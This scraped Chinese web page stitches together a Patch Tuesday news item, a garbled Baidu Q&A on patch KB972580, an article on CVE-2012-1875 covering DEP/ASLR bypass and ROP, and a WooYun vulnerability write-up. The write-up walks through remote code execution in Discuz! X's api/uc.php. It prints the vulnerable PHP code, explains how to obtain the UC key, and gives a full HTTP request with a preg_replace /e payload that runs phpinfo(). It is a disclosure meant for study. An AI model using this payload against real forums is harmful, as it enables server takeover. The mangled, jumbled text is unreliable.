vc++6.0运行时库vc 6.0 远程调试dll代码执行漏洞如何修复

您所在的位置: &
微软将在本周二修复6个严重的远程代码执行漏洞
微软将在本周二修复6个严重的远程代码执行漏洞
微软公布了7月份Patch Tuesday的补丁计划,一共有7份补丁公告。其中包括一个重要级别的本地内核提权漏洞和六个严重级别的远程代码执行漏洞。
微软公布了7月份Patch Tuesday的补丁计划,一共有7份补丁公告。其中包括一个重要级别的本地内核提权漏洞和六个严重级别的远程代码执行漏洞。
补丁涉及Windows操作系统,.Net Framework,Silverlight并包括了全版本的IE浏览器,从Windows XP的IE6到Windows 8的IE10。
通常情况下攻击者实施一次挂马攻击,通过远程代码执行漏洞,可以让攻击者破坏一个应用程序并在没有任何通知或用户交互的情况下在目标机器上执行恶意代码。
此外,Windows 8还会补丁一个由Google的安全研究人员Tavis Ormandy泄露的本地内核提权漏洞,这个漏洞源于Windows的内核函数EPATHOBJ::pprFlattenRec(CVE-)。Ormandy还发布了漏洞的利用代码,Metasploit渗透测试套件也添加了对该漏洞的支持。【编辑推荐】【责任编辑: TEL:(010)】
关于&&&&的更多文章
回顾PC漫长的发展史,如果让你想一个关键词,我相信很多人第一反
极棒嘉年华2015聚焦手机、智能穿戴等八大智能生活领域的安全问题。
随着互联网Web技术的全面应用,对Web应用防火墙来说,
RSA中国大会将促进中国信息安全专业人员与国际信息安
业内有一些厂商推出了无代理防毒的技术,但这类解决方
它从最简单的地方入手,不仅讲述了JavaScript的基础知识,还讲述了JavsScript如何操作CSS、DOM等Ajax基础技术。而关于跨浏览器兼
51CTO旗下网站Discuz! X系列远程代码执行漏洞分析 | WooYun知识库
Discuz! X系列远程代码执行漏洞分析
0x00 漏洞概述
上周有一个朋友问我有没有办法在知道uc的appkey的情况下getshell,刚好我在原来看discuz代码时曾经有过几个相关的想法,但是一直没有仔细去看,接着这个机会去看了下,果然有个很好玩的代码执行漏洞。
0x01 漏洞根源
这个问题的根源在于api/uc.php文件中的updatebadwords方法,代码如下:
function updatebadwords($get, $post) {
global $_G;
if(!API_UPDATEBADWORDS) {
return API_RETURN_FORBIDDEN;
$data = array();
if(is_array($post)) {
foreach($post as $k =& $v) {
$data['findpattern'][$k] = $v['findpattern'];
$data['replace'][$k] = $v['replacement'];
$cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php';
$fp = fopen($cachefile, 'w');
$s = "&?php\r\n";
$s .= '$_CACHE[\'badwords\'] = '.var_export($data, TRUE).";\r\n";
fwrite($fp, $s);
fclose($fp);
return API_RETURN_SUCCEED;
方法参数中的$get和$post就是用户所传入的内容,从上面代码我们可以看出在解析$post内容之后,将其写入到名为badwords的缓存中。这里代码使用了var_export来避免用户传递单引号来封闭之前语句,注入php代码。
但是这里有两个关键词让我眼前一亮“findpattern”和“replacement”,也就是说这个缓存内容是会被作为执行的。那么如果我向findpattern中传入带有e参数的正则表达式,不就可以实现任意代码执行了吗?
0x02 漏洞触发
全局代码搜了下badwords,用的地方比较少,主要集中在uc的pm和user模块中。这里我用user来举例,在uc_client/model/user.php文件中有一个check_usernamecensor方法,来校验用户名中是否有badwords,如果有的话就将他替换掉,代码如下:
function check_usernamecensor($username) {
$_CACHE['badwords'] = $this-&base-&cache('badwords');
$censorusername = $this-&base-&get_setting('censorusername');
$censorusername = $censorusername['censorusername'];
$censorexp = '/^('.str_replace(array('\\*', "\r\n", ' '), array('.*', '|', ''), preg_quote(($censorusername = trim($censorusername)), '/')).')$/i';
$usernamereplaced = isset($_CACHE['badwords']['findpattern']) && !empty($_CACHE['badwords']['findpattern']) ? @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) : $
if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) {
return FALSE;
return TRUE;
可以看到代码中使用了preg_replace,那么如果我们的正则表达式写成“/.*/e",就可以在使用这个方法的地方进行任意代码执行了。而这个方法在disucz中,只要是添加或者修改用户名的地方都会用到。
0x03 漏洞利用
首先我们们访问api/uc.php(居然可以直接访问,好开心),之后我们会发现uc处理机制中比较讨厌的环节——用户传递的参数需要经过UC_KEY加密:
if(!defined('IN_UC')) {
require_once '../source/class/class_core.php';
$discuz = C::app();
$discuz-&init();
require DISCUZ_ROOT.'./config/config_ucenter.php';
$get = $post = array();
$code = @$_GET['code'];
parse_str(authcode($code, 'DECODE', UC_KEY), $get);
所以这里需要有个前提,需要知道UC_KEY或者可以操控UC_KEY。那么问题来了,我们要怎么达到这个前提呢?
我们在后台中站长-&UCenter设置中发现有“UCenter 通信密钥”这个字段,这是用于操控discuz和uc连接的app key,而非高级的uc_server key,不过对于我们getshell来说足够了。在这里修改为任意值,这样我们就获取到了加密用的key值了。
从下图我们可以看到,配置文件已经被修改了:
然后我们在自己搭建的discuz的api/uc.php文件中添加两行代码,来加密get请求所需要的内容:
$a = 'time='.time().'&action=updatebadwords';
$code = authcode($a, 'ENCODE', 'tang3');
这样我们就可以获取到加密后的code值了!
然后用post方法向api/uc.php发送带有正则表达式信息的xml数据包,请求头中有两个地方需要注意,一个是formhash,一个是刚才获取的code需要进行一次url编码,否则解密会出现问题。我使用的数据包如下图所示:
POST /discuzx3./api/uc.php?formhash=e6d7c425&code=38f8nhcm4VRgdUvoEUoEs/OpuXNJDgh0Qfep%2bT52HDEyTpHnR4PQ80%2be%2bNCyOWI0DMrXizYwbGFcM/J0Y3a8Zc/N HTTP/1.1
Host: 192.168.188.144
Proxy-Connection: keep-alive
Content-Length: 178
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/q=0.9,image/webp,*/*;q=0.8
Origin: http://192.168.188.144
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2415.0 Safari/537.36
Content-Type: text/xml
Referer: http://192.168.188.144/discuzx3./admin.php?action=setting&operation=uc
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,q=0.8,q=0.6
Cookie: FPDO_2132_saltkey=Z777zGG4; FPDO_2132_lastvisit=; FPDO_2132_ulastactivity=5830S8vsYWw6CpVTPpdtOgw6cPIZugHKtMQidjBgfdqDGbQJfS so6a_2132_saltkey=JjZJ2 so6a_2132_lastvisit=; so6a_2132_nofavfid=1; so6a_2132_forum_lastvisit=D_2_; so6a_2132_visitedfid=2; so6a_2132_editormode_e=1; so6a_2132_smile=1D1; so6a_2132_lastcheckfeed=1%7C; XDEBUG_SESSION=PHPSTORM; so6a_2132_ulastactivity=5238LLJuvhc%2FhKaXEaIzRYm5hbbEAlOy3RL8Lc92aDETkVQJidZY; so6a_2132_auth=96c9HcEpd8OxPZh6GE5stu4Uov%2BUncVwxWbetMvF%2BFZLNuEVj8VoiFyDMkWkXdQ81eg%2F6522CLnsHbkzv%2F so6a_2132_creditnotice=0D0D2D0D0D0D0D0D0D1; so6a_2132_creditbase=0D0D10D0D0D0D0D0D0; so6a_2132_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; so6a_2132_checkupgrade=1; so6a_2132_lastact=%09admin.php%09; so6a_2132_sid=LE2xb1
&?xml version="1.0" encoding="ISO-8859-1"?&
&item id="balabala"&
&item id="findpattern"&/.*/e&/item&
&item id="replacement"&phpinfo();&/item&
发送后可以发现uc_client/data/cache目录下的badwords.php内容变为了我们刚刚设定的正则表达式的样子:
之后利用方法就有很多种了,可以通过增加一个用户来实现代码执行,也可以通过发消息的方式来触发,这里我以添加一个用户为例。
0x04 漏洞总结
1.影响范围个人评价为“高”,Discuz! X系列cms在国内使用范围极广,几乎所有中小型论坛都是用它搭建的。
2.危害性个人评价为“高”,这个漏洞不只是单纯的后台代码执行,在uc_app key泄露的情况下也是可以利用的,很多转账对于uc_app key重视程度不是很大,所以相对来说危害性还是非常高的。
限制用户提交正则表达式的内容,允许提交正则表达式就可以了,就不要让用户提交正则参数了吧。而且纯粹的使用正则表达式替换字符串,str_replace不可以吗?
除了 admin.php 里面添加用户可以触发执行,还有那些地方呢
请问第一个formhash=e6d7c425 这个的值是随意的吗?然后第二个code的值 用到time获取时间戳。在实际操作中,访问获取后在提交,时间上不就没有对上吗。
从UC_center中获得的uckey可以按照这样使用吗
思路很赞,虽然是后台的
老是被xss_check拦截。。。
还是没懂uc_server key 和app key的区别,如果;论坛要和uc_server通信,两个key应该是一样的吧?
感谢知乎授权页面模版现在位置:
总共138篇文章
交流和分享以及愉快的玩耍KB972580 GDI+中的漏洞可能允许远程执行代码修复不了怎么回事?_百度知道
KB972580 GDI+中的漏洞可能允许远程执行代码修复不了怎么回事?
aspx.microsoft,微软的操作系统和Office的漏洞是否需要修复?ln=zh-cn" target="_blank">http。如果不是正版的OFFICE2003,习惯性的提示用户打这个补丁.microsoft。如果你不是正版的OFFICE,可以通过手动下载补丁 http。==严格意义上说。今天的360卫士不知道哪里出问题了(我想是更新的特征库.zip来安装,鲁大师Z武器等等)或者杀毒软件(NOD32或卡巴斯基,又存在各种各样的盗版?c=attach&a=down&id=dfa.360,处理起来是特殊一些,金山毒霸等)的提示都只能做为一个参考://update://bbs?ln=zh-cn如果你是正版的OFFICE2003,大可忽略这些补丁,要以微软更新为主.com/Windowsupdate/v6/default.php,金山清理专家,一般情况下还是要以微软的更新为准来判断。微软官方升级页面<a href="http!强烈的建议 你直接到微软的官网打补丁.com/Windowsupdate/v6/default,今天是微软的 补丁日)./index,同时补丁安装环境十分复杂。这个是office的补丁,更准确,另外一个却说没有.360?c=attach&a=down&id=dfa,请放心大胆的忽略这个补丁。由于Microsoft Office自身软件版本多样://bbs,卡卡助手.cn/index,更直接。而且由于对漏洞库的检测原则的差异,有些补丁这个工具说有:KB972580 GDI+ 是OFFICE2003的一个补丁我来说一下://update
其他类似问题
为您推荐:
其他1条回答
就好了把360更新最新版,在补,在重启一下电脑
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁&&|&&责编:白宁
品牌: 1ID属性远程代码执行漏洞-内存管理  公布了一个关键的ie漏洞,并在星期二发了修补补丁,但是这个漏洞已经被许多人利用。
  该漏洞是编号为CVE - 2012 - 1875,被微软MS12-037补丁修补。
  SophosLabs已多次试图利用该漏洞(Sophos检测它作为Exp /
  Cunningly-crafted JavaScript代码——它可以嵌入到web页面上,并强行攻击毫无戒备的网民——这已经在互联网上大肆流行。
  同时,Metasploit开发框架现在有一个模块框架插件,可以自动生成恶意的JavaScript,并帮助攻击者发动自动化攻击(仅用于授权渗透测试和研究目的)。
  CVE - 2012 - 1875漏洞就是大名鼎鼎的“ Internet Explorer Same ID属性远程代码执行漏洞”,是由于Internet Explorer管理不善造成。
  这个漏洞通常被认为是一个“内存释放后使用”的bug。这发生在一个程序释放出一个盈余的内存块,原则上被回收之后需要再分配,但应用程序却仍然继续使用它,到那时这个内存区块可能出人意料地已被改变。
  对于现代操作系统发行版的这种排序困难,目前有两种技术可以应对:DEP(防止数据执行)和ASLR((随机地址空间布局)。
  DEP分配内存块,以使它们仅仅被用于数据存放,而不是为执行代码,从而降低了黑客插入恶意代码运行的机会。
  ASLR(Address space layout randomization)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。据研究表明ASLR可以有效的降低缓冲区溢出攻击的成功率,如今Linux、FreeBSD、Windows等主流操作系统都已采用了该技术。2DEP和ASLR并不能阻止远程代码  但是DEP和ASLR并不能阻止远程代码执行共计——这非常棘手。
  在Exp/-A这种情况下,ASLR有时候会被“绕行”,在指令Internet Explorer寻找和加载一个旧版本的Microsoft C运行时DLL库时,如果这个运行时库是ASLR成为规范之前就已经编译了,那么ASLR是不支持这个库文件。
  即便你加载一个non-ASLR DLL,进入了一个ASLR-enabled程序,你照样可以预测它会在哪里结束。
  而DEP则会被一种称之为ROP(return-oriented programming)的技术突破。
  ROP是很难用一句话来解释的,它的原理是这样的,首先找到一个小的程序碎片,什么样的碎片呢,已经加载的,已经在内存里执行的,比较有代表性的是只执行1个或者2个指令,在同一时间,当然,这些碎片可以整合成一个连贯的恶意代码,即便它看起来古怪而笨拙。
  然后,你就可以执行这些古怪的微小的指令碎片(在ROP社区里,被称之为小工具)。
天津重庆哈尔滨沈阳长春石家庄呼和浩特西安太原兰州乌鲁木齐成都昆明贵阳长沙武汉郑州济南青岛烟台合肥南京杭州东莞南宁南昌福州厦门深圳温州佛山宁波泉州惠州银川
本城市下暂无经销商
其他小论坛精选
下载中关村在线Android 客户端
下载中关村在线 iPhone 客户端
下载中关村在线Windows8客户端
成为中关村在线微信好友
4¥858005¥4086006¥4886007¥2286008¥2668009¥21860010¥1046800

我要回帖

更多关于 vc 6.0 win7 的文章

 

随机推荐